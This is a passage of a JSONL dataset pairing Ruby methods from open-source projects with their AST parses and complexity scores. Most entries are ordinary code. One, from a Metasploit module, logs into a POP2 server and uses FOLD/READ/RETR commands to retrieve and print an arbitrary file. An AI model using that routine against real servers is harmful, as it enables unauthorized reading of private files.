"sym\",\"children\":[\"if_exists\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"b4162c94-b163-4276-9e94-5288240e86f6"} {"repo_name":"discourse","file_path":"./repos/discourse/app/mailers/user_notifications.rb","start_line":408,"raw_source":"def user_posted(user, opts)\n opts[:allow_reply_by_email] = true\n opts[:use_site_subject] = true\n opts[:add_re_to_subject] = true\n opts[:show_category_in_subject] = true\n opts[:show_tags_in_subject] = true\n notification_email(user, opts)\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"user_posted\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"allow_reply_by_email\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"use_site_subject\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"add_re_to_subject\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"show_category_in_subject\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"show_tags_in_subject\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"notification_email\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"701ff671-c19d-451a-8849-4420c9fb1217"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/projects_spec.rb","start_line":2089,"raw_source":"def request\n get api(path)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"api\",{\"type\":\"send\",\"children\":[null,\"path\"]}]}]}]}","id":"228a4e65-45a3-4b44-b51b-fc48b8b01547"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/vmdb/deprecation.rb","start_line":20,"raw_source":"def self.default_behavior\n Rails.env.production? ? [] : [proc_for_default_log, ActiveSupport::Deprecation::DEFAULT_BEHAVIORS[:stderr]]\n end","complexity_score":5.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default_behavior\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"production?\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc_for_default_log\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Deprecation\"]},\"DEFAULT_BEHAVIORS\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stderr\"]}]}]}]}]}","id":"7e52b970-4881-43fa-86f8-c2edbb78de1d"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/resources_test.rb","start_line":969,"raw_source":"def test_singleton_resource_has_only_update_action_and_named_route\n with_routing do |set|\n set.draw do\n resource :account, only: :update\n end\n\n assert_singleton_resource_allowed_routes(\"accounts\", {}, :update, [:new, :create, :show, :edit, :destroy])\n assert_singleton_resource_allowed_routes(\"accounts\", { format: \"xml\" }, :update, [:new, :create, :show, :edit, :destroy])\n\n assert_not_nil set.named_routes[:account]\n end\n end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_singleton_resource_has_only_update_action_and_named_route\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_routing\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resource\",{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"sym\",\"children\":[\"update\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_singleton_resource_allowed_routes\",{\"type\":\"str\",\"children\":[\"accounts\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"sym\",\"children\":[\"edit\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_singleton_resource_allowed_routes\",{\"type\":\"str\",\"children\":[\"accounts\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"xml\"]}]}]},{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"new\"]},{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"sym\",\"children\":[\"show\"]},{\"type\":\"sym\",\"children\":[\"edit\"]},{\"type\":\"sym\",\"children\":[\"destroy\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"named_routes\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"account\"]}]}]}]}]}]}","id":"43a1c8c5-4f30-421d-a8ce-52c84c909cbd"} {"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/normalized_has_many_test.rb","start_line":94,"raw_source":"def test_fetching_associated_ids_will_populate_the_value_if_the_record_isnt_from_the_cache\n assert_equal([2, 1], @record.fetch_associated_record_ids)\n end","complexity_score":2.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetching_associated_ids_will_populate_the_value_if_the_record_isnt_from_the_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@record\"]},\"fetch_associated_record_ids\"]}]}]}","id":"5c4699f5-89b2-428a-9b09-0579bb6033df"} {"repo_name":"openproject","file_path":"./repos/openproject/app/components/projects/row_component.rb","start_line":39,"raw_source":"def project\n model.first\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"first\"]}]}","id":"264e83e8-c442-441e-829a-7a424c37b7a4"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/indentation_width.rb","start_line":139,"raw_source":"def on_case(case_node)\n case_node.when_branches.each do |when_node|\n check_indentation(when_node.loc.keyword, when_node.body)\n end\n\n check_indentation(case_node.when_branches.last.loc.keyword, case_node.else_branch)\n end","complexity_score":16.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_case\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"case_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"case_node\"]},\"when_branches\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"when_node\"]}]},{\"type\":\"send\",\"children\":[null,\"check_indentation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"when_node\"]},\"loc\"]},\"keyword\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"when_node\"]},\"body\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_indentation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"case_node\"]},\"when_branches\"]},\"last\"]},\"loc\"]},\"keyword\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"case_node\"]},\"else_branch\"]}]}]}]}","id":"c9307a87-15cc-4bff-b074-fd0aff128235"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/commands/server/server_command.rb","start_line":125,"raw_source":"def initialize(args, local_options, *)\n super\n\n @original_options = local_options - %w( --restart )\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]},{\"type\":\"arg\",\"children\":[\"local_options\"]},{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@original_options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_options\"]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"--restart\"]}]}]}]}]}]}","id":"85fb5467-4a89-4ba7-9005-3e2d93796d3b"} {"repo_name":"openproject","file_path":"./repos/openproject/app/services/project_queries/set_attributes_service.rb","start_line":34,"raw_source":"def set_attributes(params)\n set_filters(params.delete(:filters))\n set_order(params.delete(:orders))\n set_select(params.delete(:selects))\n\n super\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"set_filters\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"filters\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_order\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"orders\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_select\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"selects\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"9fbd8afa-4ae9-46f2-b4ee-8474523d2c68"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/services/ci/retry_pipeline_service_spec.rb","start_line":554,"raw_source":"def create_processable(type, name, status, stage, **opts)\n create(\n type,\n name: name,\n status: status,\n ci_stage: stage,\n stage_idx: stage.position,\n pipeline: pipeline,\n **opts\n ) do |_job|\n ::Ci::ProcessPipelineService.new(pipeline).execute\n end\n end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create_processable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"status\"]},{\"type\":\"arg\",\"children\":[\"stage\"]},{\"type\":\"kwrestarg\",\"children\":[\"opts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ci_stage\"]},{\"type\":\"lvar\",\"children\":[\"stage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stage_idx\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stage\"]},\"position\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"send\",\"children\":[null,\"pipeline\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_job\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"ProcessPipelineService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"pipeline\"]}]},\"execute\"]}]}]}","id":"004c83bd-3200-485c-9578-2c81f26d3b7a"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_zone_test.rb","start_line":714,"raw_source":"def test_utc_offset_is_not_cached_when_current_period_gets_stale\n tz = ActiveSupport::TimeZone.create(\"Moscow\")\n travel_to(Time.utc(2014, 10, 25, 21)) do # 1 hour before TZ change\n assert_equal 14400, tz.utc_offset, \"utc_offset should be initialized according to current_period\"\n end\n\n travel_to(Time.utc(2014, 10, 25, 22)) do # after TZ change\n assert_equal 10800, tz.utc_offset, \"utc_offset should not be cached when current_period gets stale\"\n end\n end","complexity_score":16.65,"ast_json":"{\"type\":\"def\",\"children\":[\"test_utc_offset_is_not_cached_when_current_period_gets_stale\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tz\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"create\",{\"type\":\"str\",\"children\":[\"Moscow\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"travel_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2014]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[25]},{\"type\":\"int\",\"children\":[21]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[14400]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tz\"]},\"utc_offset\"]},{\"type\":\"str\",\"children\":[\"utc_offset should be initialized according to current_period\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"travel_to\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[2014]},{\"type\":\"int\",\"children\":[10]},{\"type\":\"int\",\"children\":[25]},{\"type\":\"int\",\"children\":[22]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[10800]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tz\"]},\"utc_offset\"]},{\"type\":\"str\",\"children\":[\"utc_offset should not be cached when current_period gets stale\"]}]}]}]}]}","id":"3894715f-5f2b-4852-af88-2f94586e554a"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/jive.rb","start_line":176,"raw_source":"def import_group_members\n puts \"\", \"importing group members...\"\n\n csv_parse(\"group_members\") do |row|\n user_id = user_id_from_imported_user_id(row.userid)\n group_id = group_id_from_imported_group_id(row.groupid)\n\n GroupUser.find_or_create_by(user_id: user_id, group_id: group_id) if user_id && group_id\n end\n end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"import_group_members\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing group members...\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"csv_parse\",{\"type\":\"str\",\"children\":[\"group_members\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_id\",{\"type\":\"send\",\"children\":[null,\"user_id_from_imported_user_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"userid\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"group_id\",{\"type\":\"send\",\"children\":[null,\"group_id_from_imported_group_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"groupid\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"group_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupUser\"]},\"find_or_create_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_id\"]},{\"type\":\"lvar\",\"children\":[\"group_id\"]}]}]}]},null]}]}]}]}]}","id":"1754544d-1880-4518-b27a-5f656e4825ea"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/helpers/admin/filter_helper.rb","start_line":42,"raw_source":"def filter_link_class(new_url)\n filtered_url_for(controller_request_params) == new_url ? 'selected' : ''\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_link_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_url\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filtered_url_for\",{\"type\":\"send\",\"children\":[null,\"controller_request_params\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"new_url\"]}]},{\"type\":\"str\",\"children\":[\"selected\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"6fee473a-a87d-4d80-9063-eea693ad7eb5"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/pop2/uw_fileretrieval.rb","start_line":45,"raw_source":"def run\n connect_login\n file = datastore['FILE']\n res = send_cmd(['FOLD', file], true)\n\n if (res =~ /#1 messages in/)\n send_cmd(['READ 1'], true)\n file_output = send_cmd(['RETR'], true)\n print_status(\"File output:\\r\\n\\r\\n#{file_output}\\r\\n\")\n send_cmd(['ACKS'], true)\n elsif (res =~ /#0 messages in/)\n print_status(\"File #{file} not found or read-access is denied.\")\n end\n\n send_cmd(['QUIT'], true)\n disconnect\n end","complexity_score":17.5,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect_login\"]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"FOLD\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"#1 messages in\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"READ 1\"]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"file_output\",{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"RETR\"]}]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File output:\\r\\n\\r\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_output\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ACKS\"]}]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"#0 messages in\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]}]},{\"type\":\"str\",\"children\":[\" not found or read-access is denied.\"]}]}]},null]}]},{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"QUIT\"]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"fc064f7c-bfa7-4568-9446-396123488678"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/has_web_hook.rb","start_line":23,"raw_source":"def hook_ssl_verification\n if respond_to?(:enable_ssl_verification)\n enable_ssl_verification\n else\n true\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"hook_ssl_verification\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"sym\",\"children\":[\"enable_ssl_verification\"]}]},{\"type\":\"send\",\"children\":[null,\"enable_ssl_verification\"]},{\"type\":\"true\",\"children\":[]}]}]}","id":"3bc7fa38-84d9-4e27-911d-d747558d533b"} {"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/bedrock/signing.rb","start_line":195,"raw_source":"def uri_escape_path(path)\n path.gsub(%r{[^/]+}) { |part| uri_escape(part) }\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"uri_escape_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^/]+\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"send\",\"children\":[null,\"uri_escape\",{\"type\":\"lvar\",\"children\":[\"part\"]}]}]}]}","id":"aeda4a25-effe-4f03-b90b-72596a316958"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/word_watcher.rb","start_line":152,"raw_source":"def self.replace_text(text)\n return text if text.blank?\n replace(text, :replace)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"replace_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"replace\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"sym\",\"children\":[\"replace\"]}]}]}]}","id":"ea682e2e-5e96-4747-856f-2b3b99089bf7"} {"repo_name":"mastodon","file_path":"./repos/mastodon/spec/lib/mastodon/cli/accounts_spec.rb","start_line":18,"raw_source":"def stub_parallelize_with_progress!\n allow(cli).to receive(:parallelize_with_progress) do |scope, &block|\n aggregate = 0\n total = 0\n\n scope.reorder(nil).find_each do |record|\n value = block.call(record)\n aggregate += value if value.is_a?(Integer)\n total += 1\n end\n\n [total, aggregate]\n end\n end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_parallelize_with_progress!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"send\",\"children\":[null,\"cli\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"parallelize_with_progress\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"aggregate\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"total\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"reorder\",{\"type\":\"nil\",\"children\":[]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"aggregate\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"total\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"total\"]},{\"type\":\"lvar\",\"children\":[\"aggregate\"]}]}]}]}]}","id":"9b93559a-6f0f-4d12-b988-d95e64ce629a"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/s3_helper.rb","start_line":417,"raw_source":"def default_s3_options\n if SiteSetting.enable_s3_uploads?\n options = self.class.s3_options(SiteSetting)\n check_missing_site_options\n options\n elsif GlobalSetting.use_s3?\n self.class.s3_options(GlobalSetting)\n else\n {}\n end\n end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"default_s3_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"enable_s3_uploads?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"s3_options\",{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_missing_site_options\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalSetting\"]},\"use_s3?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"s3_options\",{\"type\":\"const\",\"children\":[null,\"GlobalSetting\"]}]},{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"af256bf1-088b-4756-8c12-7cf77dce3b95"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/delete_account_service.rb","start_line":160,"raw_source":"def purge_statuses!\n @account.statuses.reorder(nil).where.not(id: reported_status_ids).in_batches do |statuses|\n BatchedRemoveStatusService.new.call(statuses, skip_side_effects: skip_side_effects?)\n end\n 